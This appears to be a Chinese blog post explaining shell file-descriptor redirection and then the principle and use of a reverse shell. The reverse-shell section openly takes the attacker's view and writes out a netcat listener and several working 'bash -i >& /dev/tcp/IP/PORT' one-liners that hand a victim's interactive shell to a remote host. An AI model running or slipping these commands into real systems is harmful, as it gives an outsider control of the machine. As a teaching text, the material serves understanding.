shell重定向 与 反弹shell原理

shell重定向

在 shell 程式中,最常使用的 FD (file descriptor) 大概有三个, 分别是:

0 是一个文件描述符,表示标准输入(stdin)
1 是一个文件描述符,表示标准输出(stdout)
2 是一个文件描述符,表示标准错误(stderr)

在标准情况下, 这些FD分别跟如下设备关联:

stdin(0): keyboard 键盘输入,并返回在前端
stdout(1): monitor 正确返回值 输出到前端
stderr(2): monitor 错误返回值 输出到前端

例如,当前目录只有一个文件 1.txt

由于没有2.txt这个文件, 于是返回错误值, 这就是所谓的2输出;1.txt 而这个就是所谓的1输出。


执行后,没有任何返回值。 原因是, 返回值都重定向到相应的文件中了,而不在前端显示。

一般来说, "1>" 通常可以省略成 ">"。
即可以把如上命令写成: ls 1.txt 2.txt >info.log 2>err.log
有了这些认识才能理解 "1>&2" 和 "2>&1"。

1>&2 正确返回值传递给2输出通道 &2表示2输出通道。如果此处错写成 1>2,就表示把1输出重定向到文件2中。
2>&1 错误返回值传递给1输出通道,同样&1表示1输出通道。举个例子:

现在, 正确的输出和错误的输出都定向到了file.out这个文件中, 而不显示在前端。

进一步地:

& 是一个描述符,如果1或2前不加&,会被当成一个普通文件。
1>&2 意思是把标准输出重定向到标准错误.
2>&1 意思是把标准错误输出重定向到标准输出。
&>filename 意思是把标准输出和标准错误输出都重定向到文件filename中

反弹shell

是什么?

反弹shell(reverse shell),指的就是我们的机器监听在某TCP/UDP端口,然后在希望被我们利用的被控机器发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell其实差不多对应,本质上是网络概念的客户端与服务端的角色反转。

为什么需要?

其实反弹shell和telnet、ssh本质上都是差不多的,但telnet、ssh我们称之为正向连接,也就是我们有个基本目标,可以ssh 192.168.xx.xx,但有时候目标机器如果是dhcp获取的地址,很可能你的控制就断了,这个时候反弹shell的作用就很大了。
有以下情况可以利用反弹shell很好地代替ssh、telnet等正向连接:

1.某台机中了你的网马,但是它在局域网内,局域网有统一的出口地址,这种情况下你是无法直接连接的。
2.目标机器的ip动态改变,你无法持续获取主机权限。
3.由于防火墙等安全设备的限制,被控机器只能发送请求,不能接收请求。
4.对被控机器的环境不了解,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,这样一来就不用担心了。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

怎么使用?

攻击端监听接口信息,假设我们监听6767端口:
nc -lvp 6767

192.168.11.177是攻击者的服务器主机地址,受害者一侧的终端输入:
bash -i >& /dev/tcp/192.168.11.177/6767 0>&1

可以看到我们的攻击端已经获取到shell,可以执行命令了:

反弹shell的原理?

1. nc -lvp 6767

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

2. bash -i

-i interactive。即产生一个交互式的shell(bash)

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

受害者一侧命令的是复合的,还有以下区别:

1、bash -i > /dev/tcp/192.168.11.177/6767
这种情况下,可以将受害端的标准输出重定向到攻击端,但是是无法在供给端用命令控制受害端
2、bash -i < /dev/tcp/192.168.11.177/6767
这种情况下,可以将攻击端的输入重定向到受害端,但是我们攻击端看不到命令执行结果。
3、bash -i > /dev/tcp/192.168.11.177/6767 0>&1
这种情况下,基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击端机器上执行的命令,且攻击端看不到错误命令的输出。
4、bash -i > /dev/tcp/192.168.11.177/6767 0>&1 2>&1
这种情况下,攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令。

原文链接

https://www.jb51.net/article/64183.htm
https://www.cnblogs.com/NoCirc1e/p/16275580.html

posted @ 2022-11-03 15:17  爱吃砂糖橘的白龙  阅读(262)  评论(0编辑  收藏  举报